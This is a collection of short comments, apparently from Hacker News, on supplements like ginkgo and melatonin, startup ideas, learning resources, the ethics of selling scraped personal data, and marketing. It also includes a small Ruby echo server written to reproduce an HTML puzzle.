Anybody tried Ginkgo Biloba? | brainx: Be careful, ginkgo biloba can cause cerebral hemorrhage.It's supposed to increase "brain oxygenation" / blood flow, but in some individuals who already have good blood flow it may cause bleeding. It feels like your brain is melting, quite peculiar and alarming. Can also happen in conjunction with e.g. ibuprofen or aspirin."Herbal" doesn't mean "safe". Many are toxic.Also, you may be allergic to or sensitive to a particular plant component which is innocuous to other people who recommend it. When trying out ANY new supplement, try only a very small amount at first, to see how you react to it. Then slowly increase the dosage. First priority is NOT going for effect, but seeing if something will hurt you before you try to imbibe enough to gain some positive effect.Note that capsules typically contain quite a high dosage, because they are trying to appeal to regular users by packing the most mg per dollar. Never assume that ONE cap is "LOW". Research the low end of the dosage scale, and then have EVEN LESS. E.g. if substance X is sold in caps from 10mg to 100mg, get a 10, and then OPEN THE CAP and have a small amount, NOT the whole cap.Even something as innocuous as melatonin can be a real drag; it's often sold in 3mg pills, when 0.3mg is effective, and for many people it has a delayed effect where it doesn't help you sleep that night but kicks in the next day and you can barely function because your body thinks it's time to sleep!First priority is always to protect yourself and limit the side-effects if something doesn't agree with you. |
What do you do w/ a big idea, when you are working on something else? | JayNeely: Third option: put it out into the world for others to do something with it.I've had enough big ideas to know they won't be the last. It's better for me to finish what I've started. But if an idea really is a big one, it's beneficial to me for it to be executed upon regardless of whether I'm the one to implement it or not.So I'll write a blog entry with the full details, and try to spread it around some, and hope that either someone will take it and run with it, or when someone's later searching, they'll find my thoughts and incorporate them into their own plan. |
What do you do w/ a big idea, when you are working on something else? | barnaby: Ideas are expensive, the fewer you have and the smaller (more laser-focused) they are, the better chance you have of implementing it and thus succeeding.The more ideas you pursue at once, the greater the chance that none of them will ever be implemented and succeed. |
What do you do w/ a big idea, when you are working on something else? | olalonde: I share it on HN ;) |
Help a YC startup improve your mobile media experience | krisneuharth: I know you have an Others option for device type but you should include Blackberry devices as well since you made a case for Android devices. I have a Blackberry and use it often for capturing images and uploading them to various places as I am sure many others do as well. |
Help a YC startup improve your mobile media experience | lloydarmbrust: Yeah, me also with the BlackBerry. Regrettable I know, but my office forced everyone to go RIM, so that's what I use to share pictures with grandparents, etc. |
Help a YC startup improve your mobile media experience | jackowayed: https://spreadsheets.google.com/viewform?formkey=dG0xdFRCLVh...
for those too lazy to copy & paste |
What do you do w/ a big idea, when you are working on something else? | eande: There is not much in the world which has not been thought about. The challenge and success is in the execution.
Depending on what the idea is realizing a minimal feature set of the idea and go public will quickly lead to some feedback if the idea is "huge".
Usually with many attempts the chance of success goes up. |
Viability of business models staged on Google Earth? | gangevine: http://forum.skyscraperpage.com/showthread.php?t=177844 |
What do you do w/ a big idea, when you are working on something else? | jfarmer: Find someone you trust to execute on it and share it with them.I've done this and had this done to me; it's one of the two principle forms of social capital in Silicon Valley (the other being introductions).Odds are someone else is already doing this or will be doing it within 3-4 months, if it's really a BIG IDEA. Every "great idea" I've come up with in the last two years was launched by someone else inside 6 months (not always first). |
I'm collecting learning resources - care to share some ? | ThinkWriteMute: Here are some you don't have listed:Mr. Neighborly’s Humble Little Ruby Book:http://www.humblelittlerubybook.com/book/Why’s (Poignant) Guide to Ruby:http://mislav.uniqpath.com/poignant-guide/Think Python (Or: How To Think Like A Computer Scientist):http://www.greenteapress.com/thinkpython/thinkpython.htmland my own (still in early alpha): http://learnyouanrubyforawesomepower.info or http://learnyouanruby.com once I get some free cash :o |
Is it unethical to sell scraped 'people data'? | Travis: Yes, I think it's unethical. First, the data belongs to me, and I'm allowing a specific site to use it -- not you. Even for sites that claim they own my data, it still doesn't give you any rights to it.Further, it is likely a violation of the ToS of a site if you're doing that. |
Do you read newspaper/newspapers everyday? | mrlyc: Newspapers can be a very unreliable source of news. I haven't read one every day since January 1980 when 10,000 of us motorcyclists rode to Canberra to protest against the latest round of "four wheels good, two wheels bad" road rules. That trip got two paragraphs on page 3 in The Age. The following week, two busloads of pensioners went to Canberra and were front page news. |
I'm collecting learning resources - care to share some ? | olalonde: http://www.ted.com/ has some great lectures
http://academicearth.org/ has videos of university courses |
Is it unethical to sell scraped 'people data'? | Alex3917: The people have their information online for people to contact them. If you want to scrape the data and contact some of them then that's fine, as long as the email you send to each individual is personal and relevant.Doing anything else with the data is unethical, because that's not what they've signed up for. |
Is it unethical to sell scraped 'people data'? | jfarmer: You've just uncovered Rapleaf's business model. |
What makes you happy? | nfnaaron: Having something to do, knowing what that is, and doing it. |
Is it unethical to sell scraped 'people data'? | gtani: Consider the Netflix and AOL search data, where people could (maybe) be identfied from "anonymized" data. Or the facebook gaydar thing.http://33bits.org/2008/09/30/law-review-article-about-netfli...harvesting emails, that is an established business model called... |
Is email address the wrong choice for usernames? | joeycfan: Yes because it is as close to an ID as you get on the net so far.Sure, they can get another one but it's a hassle. Anyone can just pull a new user name out of their butt and let Firefox handle the memorization of it. |
Any hackers in Hong Kong? | lostintech: Hi, i am living currently in Shenzhen, the city bordering with Hong Kong. Would you like to visit China ? where are you from ?you will need a visa |
What makes you happy? | pasbesoin: Good healthSomething engaging to doAn environment that aids rather than fights what you are doingHonest companyTime aloneA steady dose of nature |
Is marketing essentially using brainwashing to propagate a meme? | SwellJoe: Bill Hicks had something to say on the subject: http://www.youtube.com/watch?v=gDW_Hj2K0wo |
What do you do w/ a big idea, when you are working on something else? | js3309: Do what Twitter founders did. |
What do you do w/ a big idea, when you are working on something else? | Mz: To some extent, I let "failure" weed things out for me. Kind of like the story (about Reddit?) where the founders walked out of a law related class to go have waffles and realized they didn't really want to be lawyers. If you just can't keep your hands off the new project and it takes on a life of its own, that is telling you something (though what it might be saying is that you just like doing the fun parts of the job and don't want to buckle down and get through the crappy parts of it -- so beware you don't misinterpret what it says). On the other hand if it seems like a great idea but you would rather "go have waffles" (so to speak), then it probably needs to be someone else's baby (or not live at all). |
Is marketing essentially using brainwashing to propagate a meme? | jacquesm: Viral marketing is, 'regular' marketing can be divided in to two branches, one where people are informed about a product and left to draw their own conclusions, and another - much less ethical one - where marketing is used a means of influencing decisions people make in general.The latter I have a real problem with.SwellJoe has already posted Bill Hicks, let me contribute this little gem:http://www.youtube.com/watch?v=Hi63rXnuWbw |
Sunday HTML Puzzler | chasingsparks: When I commented that it was not working on the other thread, I had used Live HTTP Headers to see that it was responding with "Content-length: 0".The following seems to replicate everything you described. require 'gserver'
class PuzzlerServer < GServer
def initialize(port=10001, *args)
super(port, *args)
end
def serve(io)
data = io.readpartial(4096)
io.puts "HTTP1/x 200 OK"
io.puts "Content-Length: #{(data =~ /good/i) ? data.length : 0}"
io.puts "Content-Type: text/html"
io.puts
io.puts(data)
end
end
server = PuzzlerServer.new
server.start
server.join |
Review my mobile Safari add-on | milestinsley: You are charging $0.99 for an app that does nothing more than copy a URL to the pasteboard. I understand that you are trying to make the process of adding the bookmarklet to Safari simple, but making it free with a how-to video/tutorial would be way cooler.I think your target audience (people who want in-page search) will also notice that the app is very slim on features and understand that it's simply a URL!Of course, it's $0.99! Personally, I'm happy to pay that, but I think you have unnecessarily raised the barrier for entry for a lot of people, who are used getting a lot more for that price.The actual bookmarklet is really cool. Nice work! It's pretty slick and does the job really well. I can think of quite a few times I will be using it :) |
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